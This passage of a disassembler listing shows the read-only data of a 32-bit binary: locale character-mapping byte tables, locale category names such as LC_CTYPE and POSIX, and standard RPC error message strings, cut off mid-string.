; db 9Bh ; db 0 ; db 0 ; db 0 ; db 9Ch ; db 0 ; db 0 ; db 0 ; db 9Dh ; db 0 ; db 0 ; db 0 ; db 9Eh ; db 0 ; db 0 ; db 0 ; db 9Fh ; db 0 ; db 0 ; db 0 ; db 0A0h ; db 0 ; db 0 ; db 0 ; db 0A1h ; db 0 ; db 0 ; db 0 ; db 0A2h ; db 0 ; db 0 ; db 0 ; db 0A3h ; db 0 ; db 0 ; db 0 ; db 0A4h ; db 0 ; db 0 ; db 0 ; db 0A5h ; db 0 ; db 0 ; db 0 ; db 0A6h ; db 0 ; db 0 ; db 0 ; db 0A7h ; db 0 ; db 0 ; db 0 ; db 0A8h ; db 0 ; db 0 ; db 0 ; db 0A9h ; db 0 ; db 0 ; db 0 ; db 0AAh ; db 0 ; db 0 ; db 0 ; db 0ABh ; db 0 ; db 0 ; db 0 ; db 0ACh ; db 0 ; db 0 ; db 0 ; db 0ADh ; db 0 ; db 0 ; db 0 ; db 0AEh ; db 0 ; db 0 ; db 0 ; db 0AFh ; db 0 ; db 0 ; db 0 ; db 0B0h ; db 0 ; db 0 ; db 0 ; db 0B1h ; db 0 ; db 0 ; db 0 ; db 0B2h ; db 0 ; db 0 ; db 0 ; db 0B3h ; db 0 ; db 0 ; db 0 ; db 0B4h ; db 0 ; db 0 ; db 0 ; db 0B5h ; db 0 ; db 0 ; db 0 ; db 0B6h ; db 0 ; db 0 ; db 0 ; db 0B7h ; db 0 ; db 0 ; db 0 ; db 0B8h ; db 0 ; db 0 ; db 0 ; db 0B9h ; db 0 ; db 0 ; db 0 ; db 0BAh ; db 0 ; db 0 ; db 0 ; db 0BBh ; db 0 ; db 0 ; db 0 ; db 0BCh ; db 0 ; db 0 ; db 0 ; db 0BDh ; db 0 ; db 0 ; db 0 ; db 0BEh ; db 0 ; db 0 ; db 0 ; db 0BFh ; db 0 ; db 0 ; db 0 ; db 0C0h ; db 0 ; db 0 ; db 0 ; db 0C1h ; db 0 ; db 0 ; db 0 ; db 0C2h ; db 0 ; db 0 ; db 0 ; db 0C3h ; db 0 ; db 0 ; db 0 ; db 0C4h ; db 0 ; db 0 ; db 0 ; db 0C5h ; db 0 ; db 0 ; db 0 ; db 0C6h ; db 0 ; db 0 ; db 0 ; db 0C7h ; db 0 ; db 0 ; db 0 ; db 0C8h ; db 0 ; db 0 ; db 0 ; db 0C9h ; db 0 ; db 0 ; db 0 ; db 0CAh ; db 0 ; db 0 ; db 0 ; db 0CBh ; db 0 ; db 0 ; db 0 ; db 0CCh ; db 0 ; db 0 ; db 0 ; db 0CDh ; db 0 ; db 0 ; db 0 ; db 0CEh ; db 0 ; db 0 ; db 0 ; db 0CFh ; db 0 ; db 0 ; db 0 ; db 0D0h ; db 0 ; db 0 ; db 0 ; db 0D1h ; db 0 ; db 0 ; db 0 ; db 0D2h ; db 0 ; db 0 ; db 0 ; db 0D3h ; db 0 ; db 0 ; db 0 ; db 0D4h ; db 0 ; db 0 ; db 0 ; db 0D5h ; db 0 ; db 0 ; db 0 ; db 0D6h ; db 0 ; db 0 ; db 0 ; db 0D7h ; db 0 ; db 0 ; db 0 ; db 0D8h ; db 0 ; db 0 ; db 0 ; db 0D9h ; db 0 ; db 0 ; db 0 ; db 0DAh ; db 0 ; db 0 ; db 0 ; db 0DBh ; db 0 ; db 0 ; db 0 ; db 0DCh ; db 0 ; db 0 ; db 0 ; db 0DDh ; db 0 ; db 0 ; db 0 ; db 0DEh ; db 0 ; db 0 ; db 0 ; db 0DFh ; db 0 ; db 0 ; db 0 ; db 0E0h ; db 0 ; db 0 ; db 0 ; db 0E1h ; db 0 ; db 0 ; db 0 ; db 0E2h ; db 0 ; db 0 ; db 0 ; db 0E3h ; db 0 ; db 0 ; db 0 ; db 0E4h ; db 0 ; db 0 ; db 0 ; db 0E5h ; db 0 ; db 0 ; db 0 ; db 0E6h ; db 0 ; db 0 ; db 0 ; db 0E7h ; db 0 ; db 0 ; db 0 ; db 0E8h ; db 0 ; db 0 ; db 0 ; db 0E9h ; db 0 ; db 0 ; db 0 ; db 0EAh ; db 0 ; db 0 ; db 0 ; db 0EBh ; db 0 ; db 0 ; db 0 ; db 0ECh ; db 0 ; db 0 ; db 0 ; db 0EDh ; db 0 ; db 0 ; db 0 ; db 0EEh ; db 0 ; db 0 ; db 0 ; db 0EFh ; db 0 ; db 0 ; db 0 ; db 0F0h ; db 0 ; db 0 ; db 0 ; db 0F1h ; db 0 ; db 0 ; db 0 ; db 0F2h ; db 0 ; db 0 ; db 0 ; db 0F3h ; db 0 ; db 0 ; db 0 ; db 0F4h ; db 0 ; db 0 ; db 0 ; db 0F5h ; db 0 ; db 0 ; db 0 ; db 0F6h ; db 0 ; db 0 ; db 0 ; db 0F7h ; db 0 ; db 0 ; db 0 ; db 0F8h ; db 0 ; db 0 ; db 0 ; db 0F9h ; db 0 ; db 0 ; db 0 ; db 0FAh ; db 0 ; db 0 ; db 0 ; db 0FBh ; db 0 ; db 0 ; db 0 ; db 0FCh ; db 0 ; db 0 ; db 0 ; db 0FDh ; db 0 ; db 0 ; db 0 ; db 0FEh ; db 0 ; db 0 ; db 0 ; db 0FFh ; db 0 ; db 0 ; db 0 ; db 0 ; db 80h ; db 0 ; db 0 ; db 0 ; db 81h ; db 0 ; db 0 ; db 0 ; db 82h ; db 0 ; db 0 ; db 0 ; db 83h ; db 0 ; db 0 ; db 0 ; db 84h ; db 0 ; db 0 ; db 0 ; db 85h ; db 0 ; db 0 ; db 0 ; db 86h ; db 0 ; db 0 ; db 0 ; db 87h ; db 0 ; db 0 ; db 0 ; db 88h ; db 0 ; db 0 ; db 0 ; db 89h ; db 0 ; db 0 ; db 0 ; db 8Ah ; db 0 ; db 0 ; db 0 ; db 8Bh ; db 0 ; db 0 ; db 0 ; db 8Ch ; db 0 ; db 0 ; db 0 ; db 8Dh ; db 0 ; db 0 ; db 0 ; db 8Eh ; db 0 ; db 0 ; db 0 ; db 8Fh ; db 0 ; db 0 ; db 0 ; db 90h ; db 0 ; db 0 ; db 0 ; db 91h ; db 0 ; db 0 ; db 0 ; db 92h ; db 0 ; db 0 ; db 0 ; db 93h ; db 0 ; db 0 ; db 0 ; db 94h ; db 0 ; db 0 ; db 0 ; db 95h ; db 0 ; db 0 ; db 0 ; db 96h ; db 0 ; db 0 ; db 0 ; db 97h ; db 0 ; db 0 ; db 0 ; db 98h ; db 0 ; db 0 ; db 0 ; db 99h ; db 0 ; db 0 ; db 0 ; db 9Ah ; db 0 ; db 0 ; db 0 ; db 9Bh ; db 0 ; db 0 ; db 0 ; db 9Ch ; db 0 ; db 0 ; db 0 ; db 9Dh ; db 0 ; db 0 ; db 0 ; db 9Eh ; db 0 ; db 0 ; db 0 ; db 9Fh ; db 0 ; db 0 ; db 0 ; db 0A0h ; db 0 ; db 0 ; db 0 ; db 0A1h ; db 0 ; db 0 ; db 0 ; db 0A2h ; db 0 ; db 0 ; db 0 ; db 0A3h ; db 0 ; db 0 ; db 0 ; db 0A4h ; db 0 ; db 0 ; db 0 ; db 0A5h ; db 0 ; db 0 ; db 0 ; db 0A6h ; db 0 ; db 0 ; db 0 ; db 0A7h ; db 0 ; db 0 ; db 0 ; db 0A8h ; db 0 ; db 0 ; db 0 ; db 0A9h ; db 0 ; db 0 ; db 0 ; db 0AAh ; db 0 ; db 0 ; db 0 ; db 0ABh ; db 0 ; db 0 ; db 0 ; db 0ACh ; db 0 ; db 0 ; db 0 ; db 0ADh ; db 0 ; db 0 ; db 0 ; db 0AEh ; db 0 ; db 0 ; db 0 ; db 0AFh ; db 0 ; db 0 ; db 0 ; db 0B0h ; db 0 ; db 0 ; db 0 ; db 0B1h ; db 0 ; db 0 ; db 0 ; db 0B2h ; db 0 ; db 0 ; db 0 ; db 0B3h ; db 0 ; db 0 ; db 0 ; db 0B4h ; db 0 ; db 0 ; db 0 ; db 0B5h ; db 0 ; db 0 ; db 0 ; db 0B6h ; db 0 ; db 0 ; db 0 ; db 0B7h ; db 0 ; db 0 ; db 0 ; db 0B8h ; db 0 ; db 0 ; db 0 ; db 0B9h ; db 0 ; db 0 ; db 0 ; db 0BAh ; db 0 ; db 0 ; db 0 ; db 0BBh ; db 0 ; db 0 ; db 0 ; db 0BCh ; db 0 ; db 0 ; db 0 ; db 0BDh ; db 0 ; db 0 ; db 0 ; db 0BEh ; db 0 ; db 0 ; db 0 ; db 0BFh ; db 0 ; db 0 ; db 0 ; db 0C0h ; db 0 ; db 0 ; db 0 ; db 0C1h ; db 0 ; db 0 ; db 0 ; db 0C2h ; db 0 ; db 0 ; db 0 ; db 0C3h ; db 0 ; db 0 ; db 0 ; db 0C4h ; db 0 ; db 0 ; db 0 ; db 0C5h ; db 0 ; db 0 ; db 0 ; db 0C6h ; db 0 ; db 0 ; db 0 ; db 0C7h ; db 0 ; db 0 ; db 0 ; db 0C8h ; db 0 ; db 0 ; db 0 ; db 0C9h ; db 0 ; db 0 ; db 0 ; db 0CAh ; db 0 ; db 0 ; db 0 ; db 0CBh ; db 0 ; db 0 ; db 0 ; db 0CCh ; db 0 ; db 0 ; db 0 ; db 0CDh ; db 0 ; db 0 ; db 0 ; db 0CEh ; db 0 ; db 0 ; db 0 ; db 0CFh ; db 0 ; db 0 ; db 0 ; db 0D0h ; db 0 ; db 0 ; db 0 ; db 0D1h ; db 0 ; db 0 ; db 0 ; db 0D2h ; db 0 ; db 0 ; db 0 ; db 0D3h ; db 0 ; db 0 ; db 0 ; db 0D4h ; db 0 ; db 0 ; db 0 ; db 0D5h ; db 0 ; db 0 ; db 0 ; db 0D6h ; db 0 ; db 0 ; db 0 ; db 0D7h ; db 0 ; db 0 ; db 0 ; db 0D8h ; db 0 ; db 0 ; db 0 ; db 0D9h ; db 0 ; db 0 ; db 0 ; db 0DAh ; db 0 ; db 0 ; db 0 ; db 0DBh ; db 0 ; db 0 ; db 0 ; db 0DCh ; db 0 ; db 0 ; db 0 ; db 0DDh ; db 0 ; db 0 ; db 0 ; db 0DEh ; db 0 ; db 0 ; db 0 ; db 0DFh ; db 0 ; db 0 ; db 0 ; db 0E0h ; db 0 ; db 0 ; db 0 ; db 0E1h ; db 0 ; db 0 ; db 0 ; db 0E2h ; db 0 ; db 0 ; db 0 ; db 0E3h ; db 0 ; db 0 ; db 0 ; db 0E4h ; db 0 ; db 0 ; db 0 ; db 0E5h ; db 0 ; db 0 ; db 0 ; db 0E6h ; db 0 ; db 0 ; db 0 ; db 0E7h ; db 0 ; db 0 ; db 0 ; db 0E8h ; db 0 ; db 0 ; db 0 ; db 0E9h ; db 0 ; db 0 ; db 0 ; db 0EAh ; db 0 ; db 0 ; db 0 ; db 0EBh ; db 0 ; db 0 ; db 0 ; db 0ECh ; db 0 ; db 0 ; db 0 ; db 0EDh ; db 0 ; db 0 ; db 0 ; db 0EEh ; db 0 ; db 0 ; db 0 ; db 0EFh ; db 0 ; db 0 ; db 0 ; db 0F0h ; db 0 ; db 0 ; db 0 ; db 0F1h ; db 0 ; db 0 ; db 0 ; db 0F2h ; db 0 ; db 0 ; db 0 ; db 0F3h ; db 0 ; db 0 ; db 0 ; db 0F4h ; db 0 ; db 0 ; db 0 ; db 0F5h ; db 0 ; db 0 ; db 0 ; db 0F6h ; db 0 ; db 0 ; db 0 ; db 0F7h ; db 0 ; db 0 ; db 0 ; db 0F8h ; db 0 ; db 0 ; db 0 ; db 0F9h ; db 0 ; db 0 ; db 0 ; db 0FAh ; db 0 ; db 0 ; db 0 ; db 0FBh ; db 0 ; db 0 ; db 0 ; db 0FCh ; db 0 ; db 0 ; db 0 ; db 0FDh ; db 0 ; db 0 ; db 0 ; db 0FEh ; db 0 ; db 0 ; db 0 ; db 0FFh ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 1 ; db 0 ; db 0 ; db 0 ; db 2 ; db 0 ; db 0 ; db 0 ; db 3 ; db 0 ; db 0 ; db 0 ; db 4 ; db 0 ; db 0 ; db 0 ; db 5 ; db 0 ; db 0 ; db 0 ; db 6 ; db 0 ; db 0 ; db 0 ; db 7 ; db 0 ; db 0 ; db 0 ; db 8 ; db 0 ; db 0 ; db 0 ; db 9 ; db 0 ; db 0 ; db 0 ; db 0Ah ; db 0 ; db 0 ; db 0 ; db 0Bh ; db 0 ; db 0 ; db 0 ; db 0Ch ; db 0 ; db 0 ; db 0 ; db 0Dh ; db 0 ; db 0 ; db 0 ; db 0Eh ; db 0 ; db 0 ; db 0 ; db 0Fh ; db 0 ; db 0 ; db 0 ; db 10h ; db 0 ; db 0 ; db 0 ; db 11h ; db 0 ; db 0 ; db 0 ; db 12h ; db 0 ; db 0 ; db 0 ; db 13h ; db 0 ; db 0 ; db 0 ; db 14h ; db 0 ; db 0 ; db 0 ; db 15h ; db 0 ; db 0 ; db 0 ; db 16h ; db 0 ; db 0 ; db 0 ; db 17h ; db 0 ; db 0 ; db 0 ; db 18h ; db 0 ; db 0 ; db 0 ; db 19h ; db 0 ; db 0 ; db 0 ; db 1Ah ; db 0 ; db 0 ; db 0 ; db 1Bh ; db 0 ; db 0 ; db 0 ; db 1Ch ; db 0 ; db 0 ; db 0 ; db 1Dh ; db 0 ; db 0 ; db 0 ; db 1Eh ; db 0 ; db 0 ; db 0 ; db 1Fh ; db 0 ; db 0 ; db 0 ; db 20h ; db 0 ; db 0 ; db 0 ; db 21h ; ! db 0 ; db 0 ; db 0 ; db 22h ; " db 0 ; db 0 ; db 0 ; db 23h ; # db 0 ; db 0 ; db 0 ; db 24h ; $ db 0 ; db 0 ; db 0 ; db 25h ; % db 0 ; db 0 ; db 0 ; db 26h ; & db 0 ; db 0 ; db 0 ; db 27h ; ' db 0 ; db 0 ; db 0 ; db 28h ; ( db 0 ; db 0 ; db 0 ; db 29h ; ) db 0 ; db 0 ; db 0 ; db 2Ah ; * db 0 ; db 0 ; db 0 ; db 2Bh ; + db 0 ; db 0 ; db 0 ; db 2Ch ; , db 0 ; db 0 ; db 0 ; db 2Dh ; - db 0 ; db 0 ; db 0 ; db 2Eh ; . db 0 ; db 0 ; db 0 ; db 2Fh ; / db 0 ; db 0 ; db 0 ; db 30h ; 0 db 0 ; db 0 ; db 0 ; db 31h ; 1 db 0 ; db 0 ; db 0 ; db 32h ; 2 db 0 ; db 0 ; db 0 ; db 33h ; 3 db 0 ; db 0 ; db 0 ; db 34h ; 4 db 0 ; db 0 ; db 0 ; db 35h ; 5 db 0 ; db 0 ; db 0 ; db 36h ; 6 db 0 ; db 0 ; db 0 ; db 37h ; 7 db 0 ; db 0 ; db 0 ; db 38h ; 8 db 0 ; db 0 ; db 0 ; db 39h ; 9 db 0 ; db 0 ; db 0 ; db 3Ah ; : db 0 ; db 0 ; db 0 ; db 3Bh ; ; db 0 ; db 0 ; db 0 ; db 3Ch ; < db 0 ; db 0 ; db 0 ; db 3Dh ; = db 0 ; db 0 ; db 0 ; db 3Eh ; > db 0 ; db 0 ; db 0 ; db 3Fh ; ? db 0 ; db 0 ; db 0 ; db 40h ; @ db 0 ; db 0 ; db 0 ; db 61h ; a db 0 ; db 0 ; db 0 ; db 62h ; b db 0 ; db 0 ; db 0 ; db 63h ; c db 0 ; db 0 ; db 0 ; db 64h ; d db 0 ; db 0 ; db 0 ; db 65h ; e db 0 ; db 0 ; db 0 ; db 66h ; f db 0 ; db 0 ; db 0 ; db 67h ; g db 0 ; db 0 ; db 0 ; db 68h ; h db 0 ; db 0 ; db 0 ; db 69h ; i db 0 ; db 0 ; db 0 ; db 6Ah ; j db 0 ; db 0 ; db 0 ; db 6Bh ; k db 0 ; db 0 ; db 0 ; db 6Ch ; l db 0 ; db 0 ; db 0 ; db 6Dh ; m db 0 ; db 0 ; db 0 ; db 6Eh ; n db 0 ; db 0 ; db 0 ; db 6Fh ; o db 0 ; db 0 ; db 0 ; db 70h ; p db 0 ; db 0 ; db 0 ; db 71h ; q db 0 ; db 0 ; db 0 ; db 72h ; r db 0 ; db 0 ; db 0 ; db 73h ; s db 0 ; db 0 ; db 0 ; db 74h ; t db 0 ; db 0 ; db 0 ; db 75h ; u db 0 ; db 0 ; db 0 ; db 76h ; v db 0 ; db 0 ; db 0 ; db 77h ; w db 0 ; db 0 ; db 0 ; db 78h ; x db 0 ; db 0 ; db 0 ; db 79h ; y db 0 ; db 0 ; db 0 ; db 7Ah ; z db 0 ; db 0 ; db 0 ; db 5Bh ; [ db 0 ; db 0 ; db 0 ; db 5Ch ; \ db 0 ; db 0 ; db 0 ; db 5Dh ; ] db 0 ; db 0 ; db 0 ; db 5Eh ; ^ db 0 ; db 0 ; db 0 ; db 5Fh ; _ db 0 ; db 0 ; db 0 ; db 60h ; ` db 0 ; db 0 ; db 0 ; db 61h ; a db 0 ; db 0 ; db 0 ; db 62h ; b db 0 ; db 0 ; db 0 ; db 63h ; c db 0 ; db 0 ; db 0 ; db 64h ; d db 0 ; db 0 ; db 0 ; db 65h ; e db 0 ; db 0 ; db 0 ; db 66h ; f db 0 ; db 0 ; db 0 ; db 67h ; g db 0 ; db 0 ; db 0 ; db 68h ; h db 0 ; db 0 ; db 0 ; db 69h ; i db 0 ; db 0 ; db 0 ; db 6Ah ; j db 0 ; db 0 ; db 0 ; db 6Bh ; k db 0 ; db 0 ; db 0 ; db 6Ch ; l db 0 ; db 0 ; db 0 ; db 6Dh ; m db 0 ; db 0 ; db 0 ; db 6Eh ; n db 0 ; db 0 ; db 0 ; db 6Fh ; o db 0 ; db 0 ; db 0 ; db 70h ; p db 0 ; db 0 ; db 0 ; db 71h ; q db 0 ; db 0 ; db 0 ; db 72h ; r db 0 ; db 0 ; db 0 ; db 73h ; s db 0 ; db 0 ; db 0 ; db 74h ; t db 0 ; db 0 ; db 0 ; db 75h ; u db 0 ; db 0 ; db 0 ; db 76h ; v db 0 ; db 0 ; db 0 ; db 77h ; w db 0 ; db 0 ; db 0 ; db 78h ; x db 0 ; db 0 ; db 0 ; db 79h ; y db 0 ; db 0 ; db 0 ; db 7Ah ; z db 0 ; db 0 ; db 0 ; db 7Bh ; { db 0 ; db 0 ; db 0 ; db 7Ch ; | db 0 ; db 0 ; db 0 ; db 7Dh ; } db 0 ; db 0 ; db 0 ; db 7Eh ; ~ db 0 ; db 0 ; db 0 ; db 7Fh ;  db 0 ; db 0 ; db 0 ; db 80h ; db 0 ; db 0 ; db 0 ; db 81h ; db 0 ; db 0 ; db 0 ; db 82h ; db 0 ; db 0 ; db 0 ; db 83h ; db 0 ; db 0 ; db 0 ; db 84h ; db 0 ; db 0 ; db 0 ; db 85h ; db 0 ; db 0 ; db 0 ; db 86h ; db 0 ; db 0 ; db 0 ; db 87h ; db 0 ; db 0 ; db 0 ; db 88h ; db 0 ; db 0 ; db 0 ; db 89h ; db 0 ; db 0 ; db 0 ; db 8Ah ; db 0 ; db 0 ; db 0 ; db 8Bh ; db 0 ; db 0 ; db 0 ; db 8Ch ; db 0 ; db 0 ; db 0 ; db 8Dh ; db 0 ; db 0 ; db 0 ; db 8Eh ; db 0 ; db 0 ; db 0 ; db 8Fh ; db 0 ; db 0 ; db 0 ; db 90h ; db 0 ; db 0 ; db 0 ; db 91h ; db 0 ; db 0 ; db 0 ; db 92h ; db 0 ; db 0 ; db 0 ; db 93h ; db 0 ; db 0 ; db 0 ; db 94h ; db 0 ; db 0 ; db 0 ; db 95h ; db 0 ; db 0 ; db 0 ; db 96h ; db 0 ; db 0 ; db 0 ; db 97h ; db 0 ; db 0 ; db 0 ; db 98h ; db 0 ; db 0 ; db 0 ; db 99h ; db 0 ; db 0 ; db 0 ; db 9Ah ; db 0 ; db 0 ; db 0 ; db 9Bh ; db 0 ; db 0 ; db 0 ; db 9Ch ; db 0 ; db 0 ; db 0 ; db 9Dh ; db 0 ; db 0 ; db 0 ; db 9Eh ; db 0 ; db 0 ; db 0 ; db 9Fh ; db 0 ; db 0 ; db 0 ; db 0A0h ; db 0 ; db 0 ; db 0 ; db 0A1h ; db 0 ; db 0 ; db 0 ; db 0A2h ; db 0 ; db 0 ; db 0 ; db 0A3h ; db 0 ; db 0 ; db 0 ; db 0A4h ; db 0 ; db 0 ; db 0 ; db 0A5h ; db 0 ; db 0 ; db 0 ; db 0A6h ; db 0 ; db 0 ; db 0 ; db 0A7h ; db 0 ; db 0 ; db 0 ; db 0A8h ; db 0 ; db 0 ; db 0 ; db 0A9h ; db 0 ; db 0 ; db 0 ; db 0AAh ; db 0 ; db 0 ; db 0 ; db 0ABh ; db 0 ; db 0 ; db 0 ; db 0ACh ; db 0 ; db 0 ; db 0 ; db 0ADh ; db 0 ; db 0 ; db 0 ; db 0AEh ; db 0 ; db 0 ; db 0 ; db 0AFh ; db 0 ; db 0 ; db 0 ; db 0B0h ; db 0 ; db 0 ; db 0 ; db 0B1h ; db 0 ; db 0 ; db 0 ; db 0B2h ; db 0 ; db 0 ; db 0 ; db 0B3h ; db 0 ; db 0 ; db 0 ; db 0B4h ; db 0 ; db 0 ; db 0 ; db 0B5h ; db 0 ; db 0 ; db 0 ; db 0B6h ; db 0 ; db 0 ; db 0 ; db 0B7h ; db 0 ; db 0 ; db 0 ; db 0B8h ; db 0 ; db 0 ; db 0 ; db 0B9h ; db 0 ; db 0 ; db 0 ; db 0BAh ; db 0 ; db 0 ; db 0 ; db 0BBh ; db 0 ; db 0 ; db 0 ; db 0BCh ; db 0 ; db 0 ; db 0 ; db 0BDh ; db 0 ; db 0 ; db 0 ; db 0BEh ; db 0 ; db 0 ; db 0 ; db 0BFh ; db 0 ; db 0 ; db 0 ; db 0C0h ; db 0 ; db 0 ; db 0 ; db 0C1h ; db 0 ; db 0 ; db 0 ; db 0C2h ; db 0 ; db 0 ; db 0 ; db 0C3h ; db 0 ; db 0 ; db 0 ; db 0C4h ; db 0 ; db 0 ; db 0 ; db 0C5h ; db 0 ; db 0 ; db 0 ; db 0C6h ; db 0 ; db 0 ; db 0 ; db 0C7h ; db 0 ; db 0 ; db 0 ; db 0C8h ; db 0 ; db 0 ; db 0 ; db 0C9h ; db 0 ; db 0 ; db 0 ; db 0CAh ; db 0 ; db 0 ; db 0 ; db 0CBh ; db 0 ; db 0 ; db 0 ; db 0CCh ; db 0 ; db 0 ; db 0 ; db 0CDh ; db 0 ; db 0 ; db 0 ; db 0CEh ; db 0 ; db 0 ; db 0 ; db 0CFh ; db 0 ; db 0 ; db 0 ; db 0D0h ; db 0 ; db 0 ; db 0 ; db 0D1h ; db 0 ; db 0 ; db 0 ; db 0D2h ; db 0 ; db 0 ; db 0 ; db 0D3h ; db 0 ; db 0 ; db 0 ; db 0D4h ; db 0 ; db 0 ; db 0 ; db 0D5h ; db 0 ; db 0 ; db 0 ; db 0D6h ; db 0 ; db 0 ; db 0 ; db 0D7h ; db 0 ; db 0 ; db 0 ; db 0D8h ; db 0 ; db 0 ; db 0 ; db 0D9h ; db 0 ; db 0 ; db 0 ; db 0DAh ; db 0 ; db 0 ; db 0 ; db 0DBh ; db 0 ; db 0 ; db 0 ; db 0DCh ; db 0 ; db 0 ; db 0 ; db 0DDh ; db 0 ; db 0 ; db 0 ; db 0DEh ; db 0 ; db 0 ; db 0 ; db 0DFh ; db 0 ; db 0 ; db 0 ; db 0E0h ; db 0 ; db 0 ; db 0 ; db 0E1h ; db 0 ; db 0 ; db 0 ; db 0E2h ; db 0 ; db 0 ; db 0 ; db 0E3h ; db 0 ; db 0 ; db 0 ; db 0E4h ; db 0 ; db 0 ; db 0 ; db 0E5h ; db 0 ; db 0 ; db 0 ; db 0E6h ; db 0 ; db 0 ; db 0 ; db 0E7h ; db 0 ; db 0 ; db 0 ; db 0E8h ; db 0 ; db 0 ; db 0 ; db 0E9h ; db 0 ; db 0 ; db 0 ; db 0EAh ; db 0 ; db 0 ; db 0 ; db 0EBh ; db 0 ; db 0 ; db 0 ; db 0ECh ; db 0 ; db 0 ; db 0 ; db 0EDh ; db 0 ; db 0 ; db 0 ; db 0EEh ; db 0 ; db 0 ; db 0 ; db 0EFh ; db 0 ; db 0 ; db 0 ; db 0F0h ; db 0 ; db 0 ; db 0 ; db 0F1h ; db 0 ; db 0 ; db 0 ; db 0F2h ; db 0 ; db 0 ; db 0 ; db 0F3h ; db 0 ; db 0 ; db 0 ; db 0F4h ; db 0 ; db 0 ; db 0 ; db 0F5h ; db 0 ; db 0 ; db 0 ; db 0F6h ; db 0 ; db 0 ; db 0 ; db 0F7h ; db 0 ; db 0 ; db 0 ; db 0F8h ; db 0 ; db 0 ; db 0 ; db 0F9h ; db 0 ; db 0 ; db 0 ; db 0FAh ; db 0 ; db 0 ; db 0 ; db 0FBh ; db 0 ; db 0 ; db 0 ; db 0FCh ; db 0 ; db 0 ; db 0 ; db 0FDh ; db 0 ; db 0 ; db 0 ; db 0FEh ; db 0 ; db 0 ; db 0 ; db 0FFh ; db 0 ; db 0 ; db 0 ; db 0 ; db 90h ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 5 ; db 0 ; db 0 ; db 0 ; db 0C0h ; db 9Ah ; db 6 ; db 8 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0C1h ; db 9Dh ; db 6 ; db 8 ; db 0C2h ; db 0A3h ; db 6 ; db 8 ; unk_806A9E4 db 0 ; ; DATA XREF: .rodata:0806AA20o db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 3 ; db 0 ; db 0 ; db 0 ; db 0FFh ; db 0A9h ; db 6 ; db 8 ; db 0FEh ; db 0A9h ; db 6 ; db 8 ; db 0FCh ; db 0A9h ; db 6 ; db 8 ; db 7Fh ;  db 0 ; db 0 ; db 2Eh ; . db 0 ; db 0 ; db 0 ; db 0 ; dword_806AA04 dd 8079288h ; DATA XREF: sub_8062CF8+11r ; sub_8062CF8+1Br ... dd offset dword_8078890 dd offset off_8079294 dd offset off_8079284 dd offset off_8079290 dd offset off_807928C dword_806AA1C dd 806A9C4h ; DATA XREF: sub_8062CF8+39r ; sub_8062D4C+395r ... dd offset unk_806A9E4 dd offset unk_806BC54 dd offset unk_806BBBC dd offset unk_806BBC8 dd offset unk_806BC14 dword_806AA34 dd 806AA82h ; DATA XREF: sub_8062940+221r ; sub_8062940+28Ar ... dword_806AA38 dd 806AA77h ; DATA XREF: sub_8062D4C+213r dword_806AA3C dd 806AA6Fh ; DATA XREF: sub_8062D4C+238r dword_806AA40 dd 806AA64h ; DATA XREF: sub_8062D4C+259r dword_806AA44 dd 806AA58h ; DATA XREF: sub_8062D4C+27Ar dword_806AA48 dd 806AA4Ch ; DATA XREF: sub_8062D4C+29Br aLc_messages db 'LC_MESSAGES',0 aLc_monetary db 'LC_MONETARY',0 aLc_collate db 'LC_COLLATE',0 aLc_time db 'LC_TIME',0 aLc_numeric db 'LC_NUMERIC',0 aLc_ctype db 'LC_CTYPE',0 db 90h ; dword_806AA8C dd 8 ; DATA XREF: sub_8062940+71r ; sub_8062940+F5r ... dword_806AA90 dd 0Ah ; DATA XREF: sub_8062D4C+20Br dword_806AA94 dd 7 ; DATA XREF: sub_8062D4C+230r dword_806AA98 dd 0Ah ; DATA XREF: sub_8062D4C+251r dword_806AA9C dd 0Bh ; DATA XREF: sub_8062D4C+272r dword_806AAA0 dd 0Bh ; DATA XREF: sub_8062D4C+293r dword_806AAA4 dd 8066BC4h ; DATA XREF: sub_8062CF8+26r ; sub_8062CF8+30r db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; unk_806AABC db 43h ; C ; DATA XREF: sub_8062940+17Fo ; sub_8062C9C+17o ... db 0 ; unk_806AABE db 43h ; C ; DATA XREF: sub_8062940+157o ; sub_8062D4C+364o ... db 0 ; aPosix db 'POSIX',0 ; DATA XREF: sub_8062940+16Co ; sub_8062D4C+379o ... aLc_all db 'LC_ALL',0 ; DATA XREF: sub_8062D4C+4Bo aLang db 'LANG',0 ; DATA XREF: sub_8062D4C+8Co ; sub_8062D4C+DAo ... aS_2 db '%s: ',0 ; DATA XREF: sub_8063688+36o ; clnt_spcreateerror+22o aErrnoS db '; errno = %s',0 ; DATA XREF: sub_8063688+E6o aLowVersionLuHi db '; low version = %lu, high version = %lu',0 ; DATA XREF: sub_8063688+11Co ; sub_8063688+1B8o aWhy db '; why = ',0 ; DATA XREF: sub_8063688+147o aS_3 db '%s',0 ; DATA XREF: sub_8063688+172o ; clnt_perror+11o ... aUnknownAuthent db '(unknown authentication error - %d)',0 ; DATA XREF: sub_8063688+180o aS1LuS2Lu db '; s1 = %lu, s2 = %lu',0 ; DATA XREF: sub_8063688+1DCo asc_806AB51 db 0Ah,0 ; DATA XREF: sub_8063688+1F2o ; clnt_spcreateerror+E3o aRpcFailedUnspe db 'RPC: Failed (unspecified error)',0 aRpcProgramNotR db 'RPC: Program not registered',0 aRpcPortMapperF db 'RPC: Port mapper failure',0 aRpcUnknownProt db 'RPC: Unknown protocol',0 aRpcUnknownHost db 'RPC: Unknown host',0 aRpcRemoteSyste db 'RPC: Remote system error',0 aRpcServerCanTD db 'RPC: Server can',27h,'t decode arguments',0 aRpcProcedureUn db 'RPC: Procedure unavailable',0 aRpcProgramVers db 'RPC: Program/version mismatch',0 aRpcProgramUnav db 'RPC: Program unavailable',0 aRpcAuthenticat db 'RPC: Authentication error',0 aRpcIncompatibl db 'RPC: Incompatible versions of RPC',0 aRpcTimedOut db 'RPC: Timed out',0 aRpcUnableToRec db 'RPC: Unable to receive',0 aRpcUnableToSen db 'RPC: Unable to send',0 aRpcCanTDecodeR db 'RPC: Can',27h,'t decode result',0 aRpcCanTEncodeA db 